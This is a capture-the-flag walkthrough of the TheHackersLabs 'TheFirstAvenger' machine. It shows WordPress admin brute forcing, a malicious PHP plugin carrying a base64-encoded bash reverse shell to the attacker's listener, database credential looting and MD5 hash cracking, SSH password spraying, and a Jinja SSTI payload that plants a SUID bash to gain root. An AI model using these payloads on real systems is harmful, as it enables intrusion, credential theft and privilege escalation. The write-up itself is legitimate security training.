TheFirstAvenger – TheHackersLabs Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: TheHackersLabs
Summary Link to heading
“TheFirstAvenger” is an easy machine from TheHackersLabs
platform. The victim machine is running a web server. After listing directories, we find that it is running a Wordpress
page. The admin
server for this page has weak credentials, which allow us to gain access to Wordpress
panel. Once in, we upload a malicious plugin and gain initial access to the victim machine. Inside the victim machine, we are able to get credentials for a MySQL
database and get credentials for a user in the system. After re-inspecting the machine we can see that the server was running an internal webpage as root
user. This webpage is vulnerable to Server Side Template Injection
(SSTI
), which allow us to execute commands as a privileged user and take control of the machine.
User Link to heading
Nmap
scan only shows 2 ports open: 22
SSH
and 80
HTTP
:
โฏ sudo nmap -sVC -p22,80 10.20.1.141
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-19 04:28 -03
Nmap scan report for 10.20.1.141
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a1:96:4a:cb:4a:c2:76:f6:35:61:64:53:31:53:a5:5e (ECDSA)
|_ 256 63:00:29:0f:1b:2b:58:7c:aa:6c:28:78:bf:ce:6e:5e (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Bienvenido Cibervengador!
MAC Address: 08:00:27:9B:8E:94 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds
Visiting HTTP
site (http://10.20.1.141
) in a web browser just shows a simple message:
The site does not show much info. Therefore, I will start searching for directories thtough a Brute Force Directory Listing
with Gobuster
:
โฏ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.141 -t 55 -x html,php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.20.1.141
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 474]
/.html (Status: 403) [Size: 276]
/.php (Status: 403) [Size: 276]
/wp1 (Status: 301) [Size: 308] [--> http://10.20.1.141/wp1/]
/.html (Status: 403) [Size: 276]
/.php (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================
We get a directory: /wp1
.
Visiting http://10.20.1.141/wp1/
shows a new webpage:
I suspect, based on the directory name, that this site is running with WordPress
:
โฏ curl -s -X GET http://10.20.1.141/wp1/ | grep '<meta name="generator"'
<meta name="generator" content="WordPress 6.6.2" />
and it is.
There is a post for admin
user:
If I visit http://10.20.1.141/wp1/wp-admin/
it redirects to the domain thefirstavenger.thl
, so we add this domain to our /etc/hosts
file:
โฏ echo '10.20.1.141 thefirstavenger.thl' | sudo tee -a /etc/hosts
Now I can see the /w1/wp-admin
admin login panel:
Then, I will apply a scan with WPScan
:
โฏ wpscan -e ap,t,tt,u --url 'http://thefirstavenger.thl/wp1/' -t 30
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ยฎ
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://thefirstavenger.thl/wp1/ [10.20.1.141]
[+] Started: Sat Oct 19 04:46:03 2024
<SNIP>
[+] WordPress version 6.6.2 identified (Latest, released on 2024-09-10).
| Found By: Rss Generator (Passive Detection)
| - http://thefirstavenger.thl/wp1/index.php/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
| - http://thefirstavenger.thl/wp1/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
<SNIP>
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By: Rss Generator (Passive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Oct 19 04:47:30 2024
[+] Requests Done: 3036
[+] Cached Requests: 19
[+] Data Sent: 916.204 KB
[+] Data Received: 1.629 MB
[+] Memory used: 304.676 MB
[+] Elapsed time: 00:01:26
We confirm that we have a user: admin
.
I will then perform a Brute Force Password Login
with WPScan
as admin
user:
โฏ wpscan -shell-session-password-attack xmlrpc -t 30 -U admin -P /usr/share/wordlists/rockyou.txt --url 'http://thefirstavenger.thl/wp1/'
<SNIP>
[!] Valid Combinations Found:
| Username: admin, Password: spongebob
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Oct 19 04:53:26 2024
[+] Requests Done: 260
[+] Cached Requests: 37
[+] Data Sent: 103.614 KB
[+] Data Received: 171.911 KB
[+] Memory used: 280.539 MB
[+] Elapsed time: 00:00:24
We have credentials: admin:spongebob
.
We can use these credentials in /wp1/wp-admin
panel and we are in:
Now we will upload a custom malicious plugin. For this we can go to Plugins
and click on Aรฑadir nuevo plugin
(Add new plugin
) and then on Subir Plugin
:
I will upload a .php
file that establishes a connection to my machine. First, encode in base64
a payload:
โฏ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"' | base64 -w0
L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwLjEuMTEwLzQ0MyAwPiYxIg==
where 10.20.1.110
is my attacker IP address and 443
is the port I will start a listener with netcat
.
I will generate a PHP
file/plugin that will execute the encoded payload. This fake plugin has the content:
<?php
/*
Plugin Name: Shell Plugin
Version: 1.0.0
Author: gunzf0x
Author URI: wordpress.org
License: GPL2
*/
shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwLjEuMTEwLzQ0MyAwPiYxIg=="));
?>
and name it shell.php
.
Then, compress it to a .zip
file (which I will name gunzf0x-plugin.zip
):
โฏ zip gunzf0x-plugin.zip shell.php
updating: shell.php (deflated 13%)
Back to WordPress
portal, we click on Browse
, select our plugin and click on Instalar ahora
(Install now
). Apparently it worked:
I click on Activar Plugin
and our plugin is there:
I start a listener with netcat
on port 443
(as we specified in the payload) and after some time (I did not have to do any clicks) I get a shell as www-data
user:
โฏ nc -lvnp 443
listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.141] 44928
bash: cannot set terminal process group (711): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1/wp-admin$ whoami
whoami
www-data
At /var/www/html
there is a wp-config.php
file. Reading it shows:
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ cat wp-config.php
<SNIP>
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpress' );
/** Database password */
define( 'DB_PASSWORD', '9pXYwXSnap`4pqpg~7TcM9bPVXY&~RM9i3nnex%r' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
<SNIP>
We have a database password, a user for this database and the database name.
I check which database is running on the machine checking internal ports available:
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 128 127.0.0.1:7092 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 *:22 *:*
LISTEN 0 511 *:80 *:*
Port 3306
and 33060
are open, which indicates that this is using MySQL
as database.
We can then use these credentials to access to the database:
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ mysql -u wordpress -p'9pXYwXSnap`4pqpg~7TcM9bPVXY&~RM9i3nnex%r' -h localhost wordpress
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3598
Server version: 8.0.39-0ubuntu0.24.04.2 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
There is a top_secret
database:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| top_secret |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)
and inside a table we have some users and passwords:
mysql> show tables;
+----------------------+
| Tables_in_top_secret |
+----------------------+
| avengers |
+----------------------+
1 row in set (0.00 sec)
mysql> select * from avengers;
+----+--------------+------------+----------------------------------+
| id | name | username | password |
+----+--------------+------------+----------------------------------+
| 1 | Iron Man | ironman | cc20f43c8c24dbc0b2539489b113277a |
| 2 | Thor | thor | 077b2e2a02ddb89d4d25dd3b37255939 |
| 3 | Hulk | hulk | ae2498aaff4ba7890d54ab5c91e3ea60 |
| 4 | Black Widow | blackwidow | 022e549d06ec8ddecb5d510b048f131d |
| 5 | Hawkeye | hawkeye | d74727c034739e29ad1242b643426bc3 |
| 6 | Steve Rogers | steve | 723a44782520fcdfb57daa4eb2af4be5 |
+----+--------------+------------+----------------------------------+
6 rows in set (0.03 sec)
mysql> select username,password from avengers;
+------------+----------------------------------+
| username | password |
+------------+----------------------------------+
| ironman | cc20f43c8c24dbc0b2539489b113277a |
| thor | 077b2e2a02ddb89d4d25dd3b37255939 |
| hulk | ae2498aaff4ba7890d54ab5c91e3ea60 |
| blackwidow | 022e549d06ec8ddecb5d510b048f131d |
| hawkeye | d74727c034739e29ad1242b643426bc3 |
| steve | 723a44782520fcdfb57daa4eb2af4be5 |
+------------+----------------------------------+
6 rows in set (0.00 sec)
I save all the passwords in a file called passwords.txt
in my attacker machine.
The only thing is that passwords are not really “passwords”, they are hashes as we can verify with hash-identifier
:
โฏ hash-identifier
/usr/share/hash-identifier/hash-id.py:13: SyntaxWarning: invalid escape sequence '\ '
logo=''' #########################################################################
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: cc20f43c8c24dbc0b2539489b113277a
Possible Hashs:
[+] MD5
<SNIP>
We can then attempt to crack them using JohnTheRipper
with rockyou.txt
:
โฏ john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 6 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
tony123 (?)
hawkeye (?)
smash123 (?)
thecaptain (?)
natasha456 (?)
thorhammer (?)
6g 0:00:00:00 DONE (2024-10-19 05:56) 15.78g/s 8511Kp/s 8511Kc/s 15661KC/s thorin22..thoodles1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We get 6 passwords. I save them all in a new file named found_passwords.txt
.
We can see that there is a user named steve
in the victim machine:
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:Steve Rogers:/home/steve:/bin/bash
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ ls /home
steve
So I check if any of these passwords works to log with SSH
as steve
user with NetExec
:
โฏ nxc ssh 10.20.1.141 -u 'steve' -p found_passwords.txt
SSH 10.20.1.141 22 10.20.1.141 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.20.1.141 22 10.20.1.141 [-] steve:tony123
SSH 10.20.1.141 22 10.20.1.141 [-] steve:hawkeye
SSH 10.20.1.141 22 10.20.1.141 [-] steve:smash123
SSH 10.20.1.141 22 10.20.1.141 [+] steve:thecaptain Linux - Shell access!
We get credentials: steve:thecaptain
.
We can then connect as this user through SSH
:
โฏ sshpass -p 'thecaptain' ssh -o stricthostkeychecking=no steve@10.20.1.141
<SNIP>
โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโ โโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ
โโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ
โโโ โโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโ โโโโโโโโโโ โโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ
โโโโโ โโโโโโโโโโโ โโโโโ โโโโโโโ โโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโ
steve@TheHackersLabs-Thefirstavenger:~$ whoami
steve
We can read the user’s flag at this user’s home directory.
Root Link to heading
Analyzing again the internal ports open I note that port 7092
was running:
steve@TheHackersLabs-Thefirstavenger:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 128 127.0.0.1:7092 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 *:22 *:*
LISTEN 0 511 *:80
Additionally, checking processes being executed by root
user shows there is a server.py
file running located at /opt/app
:
steve@TheHackersLabs-Thefirstavenger:~$ ps aux | grep root
root 1 0.0 1.3 21972 13056 ? Ss 07:19 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 07:19 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 07:19 0:00 [pool_workqueue_release]
<SNIP>
root 650 0.0 1.8 112696 18264 ? Ss 07:20 0:01 /usr/bin/python3 /opt/app/server.py
<SNIP>
root 15607 0.0 0.0 0 0 ? I 09:09 0:00 [kworker/0:2]
root 15608 0.0 0.0 0 0 ? I 09:09 0:00 [kworker/u2:3]
steve 15613 0.0 0.2 3956 2048 pts/1 S+ 09:09 0:00 grep root
I check if the service running on port 7092
just using cURL
against it:
steve@TheHackersLabs-Thefirstavenger:~$ curl -s 127.0.0.1:7092
<!doctype html>
<html>
<head>
<title>Network toolkit</title>
<style>
<SNIP>
It shows HTML
content, therefore I assume this is a webpage.
To gain access to this internal port I establish a Local Port Forwarding
using steve
SSH
access. For this we close our current SSH
session and log in again, but this time running:
โฏ sshpass -p 'thecaptain' ssh -o stricthostkeychecking=no -L 7092:127.0.0.1:7092 steve@10.20.1.141
We can check if the tunnel has worked if we run in another terminal in our attacker machine:
โฏ lsof -i:7092
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 66084 gunzf0x 4u IPv6 164448 0t0 TCP localhost:7092 (LISTEN)
ssh 66084 gunzf0x 5u IPv4 164449 0t0 TCP localhost:7092 (LISTEN)
Then, I open Firefox
browser and visit http://127.0.0.1:7092
. We can see a page that executes ping
:
If I start a listener with tcpdump
for ICMP
traces and pass my IP address in the webpage I get a ping
as expected:
and in my attacker machine I get:
โฏ sudo tcpdump -ni eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:18:43.421336 IP 10.20.1.141 > 10.20.1.110: ICMP echo request, id 15682, seq 1, length 64
06:18:43.421365 IP 10.20.1.110 > 10.20.1.141: ICMP echo reply, id 15682, seq 1, length 64
So it just sends a ping
to the specified IP address, as expected.
After testing some things, I note that any text that I put is then reflected in the output. If we put {{9*9}}
the text is replaced by 81
after clicking on Ejecutar
. So this could be vulnerable to Server Side Template Injection
(SSTI
). Also, based on PayloadAllTheThings
SSTI payloads for Jinga, if we pass the payload {% csrf_token %}
it should crash the server. Thing that happens:
Since we confirm that we are running Jinga
, I now pass the payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
and in the webpage I get:
Then, I will pass the payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x').read() }}
that contains the payload:
cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x
This command creates a copy of /bin/bash
binary and, to that file, assigns it SUID permissions.
I pass the payload and click on Ejecutar
. Once done, If I check /tmp
directory in the victim machine our malicious file is there:
steve@TheHackersLabs-Thefirstavenger:~$ ls -la /tmp
total 2304
drwxrwxrwt 11 root root 4096 Oct 19 09:36 .
drwxr-xr-x 23 root root 4096 Oct 7 16:13 ..
<SNIP>
drwxrwxrwt 2 root root 4096 Oct 19 07:20 .font-unix
-rwsr-xr-x 1 root root 1446024 Oct 19 09:36 gunzf0x
<SNIP>
This file has -rwsr-xr-x
permissions (4755
), so we can run it as the owner using -p
flag with this binary:
steve@TheHackersLabs-Thefirstavenger:~$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami
root
We can read the root flag at /root
directory. GG.
~Happy Hacking.